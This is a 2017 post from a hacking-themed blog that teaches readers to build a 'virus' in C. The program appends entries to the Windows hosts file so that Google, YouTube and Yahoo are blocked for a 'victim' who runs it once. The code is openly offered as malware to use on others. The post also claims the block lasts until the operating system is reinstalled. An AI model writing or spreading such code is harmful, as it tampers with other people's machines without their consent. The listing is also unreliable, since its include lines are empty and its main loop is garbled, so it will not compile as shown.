kpoyagahack.blogspot.com

kpoyagahack.blogspot.com


Create Virus to Block Websites In ‘C’ language programming

Posted: 16 Oct 2017 08:10 AM PDT




Create Virus to BlockWebsites In 'C' language


Hello readers, In Today's Post, I'll be  teaching  you guy's how to create a simple virus that block's websites. We will be using 'C' programming language to create this simple website blocking virus. But before I begin with the main project let's a look at a brief introduction about this simple virus
As I stated earlier we will be  'C' language . So, anyone with a basic knowledge in C programming  will be able to understand the working of the virus. This virus needs to be clicked only once by the victim. Once it has been clicked, it'll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install's the operating system he or she is using. This blocking is not just keep within IE or Firefox. So once blocked, the site will not appear in any of the browser program.


NOTE: You can also block a website manually.



Here is the source code of the virus.
#include
#include
#include

char site_list[6][30]={
"google.com",
"www.google.com",
"youtube.com",
"www.youtube.com",
"yahoo.com",
"www.yahoo.com"
};
char ip[12]="127.0.0.1″;
FILE *target;

int find_root(void);
void block_site(void);

int find_root()
{
int done;
struct ffblk ffblk;//File block structure

done=findfirst("C:\\windows\\system32\\drivers\\etc\\hosts",&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen("C:\\windows\\system32\\drivers\\etc\\hosts","r+");
/*to open the file*/
return 1;
}

done=findfirst("D:\\windows\\system32\\drivers\\etc\\hosts",&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen("D:\\windows\\system32\\drivers\\etc\\hosts","r+");
/*to open the file*/
return 1;
}

done=findfirst("E:\\windows\\system32\\drivers\\etc\\hosts",&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen("E:\\windows\\system32\\drivers\\etc\\hosts","r+");
/*to open the file*/
return 1;
}

done=findfirst("F:\\windows\\system32\\drivers\\etc\\hosts",&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen("F:\\windows\\system32\\drivers\\etc\\hosts","r+");
/*to open the file*/
return 1;
}

else return 0;
}

void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/

fprintf(target,"\n");
for(i=0;i<6 i="">

void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}